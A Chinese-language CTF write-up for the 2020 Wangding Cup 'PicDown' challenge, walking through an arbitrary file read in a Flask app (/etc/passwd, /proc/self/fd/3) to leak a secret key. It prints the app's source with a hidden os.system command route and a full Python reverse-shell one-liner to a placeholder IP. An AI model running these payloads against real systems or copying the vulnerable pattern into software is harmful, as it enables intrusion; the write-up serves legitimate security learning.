[网鼎杯 2020 白虎组]PicDown

[网鼎杯 2020 白虎组]PicDown

考点:1、任意文件读取及Linux进程查看 2、python脚本反弹shell

进去之后在输入处随便输个啥,发现url有参数,猜测ssrf

page?url=http://www.baidu.com

image-20211207125206946

返回了请求值,使用file协议无果,就试了一下直接读取文件

page?url=/etc/passwd

image-20211207125326165

读取成功,存在任意文件读取

非预期解

尝试直接读取/flag

image-20211207125439037

预期解

尝试读取用于当前进程的启动命令

page?url=/proc/self/cmdline

image-20211207125812325

接下来读取app.py,获得源码

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

从路由/no_one_know_the_manager可以看到,如果获得了SECRET_KEY就可以获得shell了。读取/proc/self/fd/3

重点:这里打开了文件并没有关闭,这里就是漏洞利用点!!!fd目录下保存的文件都是以数字存储的,我们使用爆破可知在3处有数据

/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接;

paeg?url=/proc/self/fd/3

image-20211207130233789

至此获得了SECRET_KEY

/no_one_know_the_manager?key=lIZatnx0S3HWqem013h0YpU6cXK30sQRPwKEZr4e6FU=&shell=ls

但是发现shell执行的命令并不会返回结果,所以使用反弹shell

这里直接使用python脚本反弹

python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('IP',端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

将该payload进行url全编码后即可成功反弹

image-20211207132702535

这里我还专门看了一下search.html的内容,就说为什么我使用file协议并没有回显HACK ERROR!

posted @ 2023-01-08 23:16  seizer-zyx  阅读(65)  评论(0编辑  收藏  举报